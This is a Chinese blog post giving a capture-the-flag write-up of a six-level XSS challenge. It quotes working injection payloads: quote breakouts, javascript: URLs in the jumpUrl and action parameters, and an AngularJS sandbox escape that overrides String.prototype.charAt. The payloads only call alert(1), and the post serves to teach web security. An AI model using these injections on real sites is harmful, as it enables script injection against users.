当前位置: 首页 > article >正文

xss闯关

BUU上的[第二章 web进阶]XSS闯关

第一关

第一关很简单,没有任何过滤,直接输入:<script>alert()</script>即可。

第二关

第二关可以输入xss和<script>alert()</script>分别查看页面源代码,看看哪里变了。下面是输入发生变化的代码。

if(location.search == ""){//查看url中是否有查询字符串,包括开头的?,如果有,返回字符串,如果没有返回空字符
            location.search = "?username=xss"//将url中的查询字符串命名为?username=xss,且不会再改变。
        }
        var username = 'xss';//输入
        document.getElementById('ccc').innerHTML= "Welcome " + escape(username);//找到ID为 'ccc' 的HTML元素,并将其内部的HTML内容替换为 "Welcome " 加上 username 变量的值(username 的值经过 escape() 函数处理),使用双斜线进行过滤。

输入:?username=xss';alert(1);//

第三关

输入第二关的payload,发现多了一个单引号和斜线,形成了闭合。

输入:?username='';alert(1);//

第四关

进入第四关发现页面在不断的跳转,输入:?jumpUrl=javascript:alert(1)

javascript:会将此后面的语句当作代码执行,所以,输入此后的再次跳转就会执行alert(1)。

第五关

查看页面源代码,发现一段js代码。

if(getQueryVariable('autosubmit') !== false){//查看url中是否有autosubmit参数如果有,返回它的值,如果没有,返回false,没有的话执行if语句
    var autoForm = document.getElementById('autoForm');//通过 ID 获取页面中的表单元素,假设表单的 ID 是 autoForm。
    autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');//如果没有action,执行location.href,有action且action!=false,执行getQueryVariable('action')。将最后的值赋值给autoForm.action。
    autoForm.submit();//提交表单
}else{
    
}
function getQueryVariable(variable){
    var query = window.location.search.substring(1);//获取当前页面的查询字符串(即 URL 中 `?` 后的部分)
    var vars = query.split("&");//按&符号将参数拆解成数组
    for (var i=0;i<vars.length;i++) {
        var pair = vars[i].split("=");//通过=将数据分为参数和值
        if(pair[0] == variable){return pair[1];}//如果参数是查询的参数,返回它的值
    }
    return(false);//返回false
}

综上,我们需要有autosubmit进入if语句,然后利用action参数进行xss注入。

输入:?autosubmit=1&action=JavaScript:alert(1);//

第六关

查看页面源代码,发现一个链接,不过里面是一堆js代码,在下面找到一段js代码:

<script type="text/javascript">
    if(location.search == ""){//查询有没有查询的参数,好像也没啥东西。
        location.search = "?username=xss"
    }
</script>

看别的师傅了解到沙箱逃逸,先传参{ {7*9}},发现被运算。

输入:?username={ {'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

'a'.constructor 返回 String 构造函数。

.prototype 访问 String 的原型对象。

.charAtString 原型上的一个方法,用于获取字符串中指定位置的字符。

=[].join;String.prototype.charAt 方法重写为数组的 join 方法。这意味着当你尝试调用 charAt 方法时,实际上会调用 join 方法。

这样绕过了AngularJS的防御机制,使得后面的代码可以执行。

eval函数接受一个字符串参数,并将其作为AngularJS表达式进行求值。在这里,字符串参数包含恶意代码 x=1} } };alert(1)//'。这段代码试图关闭现有的AngularJS表达式,然后触发一个JavaScript alert弹窗,以实现攻击目的。

最终得到flag:n1book{xss_is_so_interesting}


http://www.kler.cn/a/539996.html

相关文章:

  • 工作中常用的jmeter自带函数有哪些?
  • 【系统架构设计师】体系结构文档化
  • 常用的python库-安装与使用
  • 迁移学习 Transfer Learning
  • DeepSeek-R1模型的数学原理(说人话)
  • 对“云原生”的初印象
  • 【深度学习】基于MXNet的多层感知机的实现
  • 华为OD最新机试真题-考勤信息-C++-OD统一考试(E卷)
  • Java语言的正则表达式
  • 快速在wsl上部署学习使用c++轻量化服务器-学习笔记
  • 金三银四软件测试面试题(800道)
  • 学习threejs,tga格式图片文件贴图
  • C++(进阶六)--STL--unordered_map和unordered_set
  • UI自动化测试框架:PO 模式+数据驱动
  • amis组件crud使用踩坑
  • leetcode 80. 删除有序数组中的重复项 II
  • 音视频协议
  • webpack配置之---output.chunkLoadTimeout
  • 如何解决 javax.xml.crypto.dsig.TransformException: 转换异常问题?亲测有效的解决方法!
  • 项目顺利交付,几个关键阶段
  • 2025年02月08日Github流行趋势
  • Ubuntu22.04部署deepseek大模型
  • element-ui使用el-table,保留字段前的空白
  • 掌握API和控制点(从Java到JNI接口)_39 JNI从C调用Java函数 02
  • 996引擎-问题处理:三职业改单职业
  • 【k8s应用管理】kubernetes pod资源控制管理(一)